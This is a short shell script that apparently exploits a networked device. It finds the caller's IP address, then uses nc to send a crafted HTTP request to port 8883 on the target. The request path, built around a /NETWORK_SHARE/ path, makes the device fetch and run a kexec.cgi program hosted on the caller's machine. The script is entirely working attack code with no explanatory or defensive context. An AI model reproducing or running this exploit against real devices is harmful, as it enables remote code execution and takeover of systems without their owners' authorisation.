#! /bin/sh

TARGET=$1
if test -z "$TARGET"; then
    echo "usage: $0 TARGET [HOST-IP]"
    exit 1
fi

myaddr(){
    perl -MSocket <<EOF
socket S, AF_INET, SOCK_DGRAM, 0;
connect S, sockaddr_in(80, scalar gethostbyname $1);
printf "%s\n", inet_ntoa((sockaddr_in(getsockname S))[1]);
EOF
}

MYIP=${2:-$(myaddr $TARGET)}

if test -z "$MYIP"; then
    echo "Unable to determine host IP address"
    exit 1
fi

find_root()(
    cd ${1%/*}
    while ! test -d dev && test $PWD != /; do cd ..; done
    pwd
)

ROOT=$(find_root $0)
HOST=localhost.drives
PORT=8883
DIR=$(cd $(dirname $0) && pwd)
CGI="${DIR#$ROOT}/kexec.cgi"
FILE=/NETWORK_SHARE/${MYIP}:$(echo $ROOT | tr / :)${CGI}

printf "GET ${FILE} HTTP/1.1\r\nHost: ${HOST}\r\nConnection: close\r\n\r\n" | \
    nc -w 1 $TARGET $PORT >/dev/null
